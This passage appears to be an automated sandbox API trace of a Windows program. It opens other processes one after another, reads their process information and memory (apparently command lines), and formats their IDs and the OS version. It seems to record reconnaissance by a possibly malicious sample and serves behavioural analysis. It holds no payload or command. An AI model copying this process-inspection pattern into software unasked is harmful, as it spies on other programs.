ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.133] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.133] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.133] malloc (_Size=0x8a) returned 0x196ef0d6180 [0296.133] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x58197a, lpBuffer=0x196ef0d6180, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d6180*, lpNumberOfBytesRead=0x0) returned 1 [0296.134] free (_Block=0x196ef0d6180) [0296.135] CloseHandle (hObject=0x464) returned 1 [0296.135] _ui64tow_s (in: _Value=0xdc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3528") returned 0x0 [0296.154] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3528") returned 4 [0296.155] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.155] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.172] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdc8) returned 0x464 [0296.172] GetLastError () returned 0x0 [0296.172] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.172] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.172] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.173] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c18f8, lpBuffer=0x670f7c2b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.174] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.176] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.176] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x255020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.176] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.176] malloc (_Size=0x76) returned 0x196ef0d2120 [0296.176] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0296.177] free (_Block=0x196ef0d2120) [0296.178] CloseHandle (hObject=0x464) returned 1 [0296.178] _ui64tow_s (in: _Value=0xdd0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3536") returned 0x0 [0296.197] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3536") returned 4 [0296.198] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.198] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.215] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdd0) returned 0x464 [0296.215] GetLastError () returned 0x0 [0296.215] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.216] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.216] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.216] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.217] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.219] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.219] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3eb020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.219] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.219] malloc (_Size=0x60) returned 0x196ef0d03e0 [0296.219] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0296.220] free (_Block=0x196ef0d03e0) [0296.221] CloseHandle (hObject=0x464) returned 1 [0296.221] _ui64tow_s (in: _Value=0xde0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3552") returned 0x0 [0296.226] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3552") returned 4 [0296.228] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.228] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.259] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde0) returned 0x464 [0296.259] GetLastError () returned 0x0 [0296.260] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.260] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.260] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.260] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.261] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c18f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.262] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.263] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.263] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.263] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.264] malloc (_Size=0x74) returned 0x196ef0d31b0 [0296.264] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c1964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.264] free (_Block=0x196ef0d31b0) [0296.265] CloseHandle (hObject=0x464) returned 1 [0296.266] _ui64tow_s (in: _Value=0xde8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0296.270] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3560") returned 4 [0296.271] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.271] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.314] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x464 [0296.314] GetLastError () returned 0x0 [0296.315] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.315] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2218f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.316] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.318] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.318] malloc (_Size=0x80) returned 0x196ef0fa2a0 [0296.318] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x221970, lpBuffer=0x196ef0fa2a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa2a0*, lpNumberOfBytesRead=0x0) returned 1 [0296.319] free (_Block=0x196ef0fa2a0) [0296.321] CloseHandle (hObject=0x464) returned 1 [0296.322] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0296.326] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3576") returned 4 [0296.328] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.328] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.360] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x464 [0296.360] GetLastError () returned 0x0 [0296.361] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x531d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.361] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5318f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.363] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.364] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.364] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x359020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.364] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5312e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.364] malloc (_Size=0x8c) returned 0x196ef0d62c0 [0296.364] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x53197c, lpBuffer=0x196ef0d62c0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d62c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.365] free (_Block=0x196ef0d62c0) [0296.366] CloseHandle (hObject=0x464) returned 1 [0296.366] _ui64tow_s (in: _Value=0xe00, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3584") returned 0x0 [0296.371] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3584") returned 4 [0296.372] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.372] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.389] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe00) returned 0x464 [0296.389] GetLastError () returned 0x0 [0296.389] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.389] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.390] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.390] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.390] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.391] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.393] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x212020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.393] malloc (_Size=0x72) returned 0x196ef0d31b0 [0296.393] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.394] free (_Block=0x196ef0d31b0) [0296.395] CloseHandle (hObject=0x464) returned 1 [0296.395] _ui64tow_s (in: _Value=0xe10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0296.400] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3600") returned 4 [0296.401] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.401] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.421] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x464 [0296.421] GetLastError () returned 0x0 [0296.421] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.421] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.422] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.422] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.422] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1918f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.423] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.424] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.425] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x302020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.425] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.425] malloc (_Size=0x64) returned 0x196ef0d03e0 [0296.425] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x191954, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0296.426] free (_Block=0x196ef0d03e0) [0296.426] CloseHandle (hObject=0x464) returned 1 [0296.427] _ui64tow_s (in: _Value=0xe18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3608") returned 0x0 [0296.431] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3608") returned 4 [0296.433] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.433] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.478] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x464 [0296.478] GetLastError () returned 0x0 [0296.478] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.478] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x36b018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.479] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.479] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x451d80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.479] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4518f8, lpBuffer=0x670f7c2b0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.480] NtQueryInformationProcess (in: 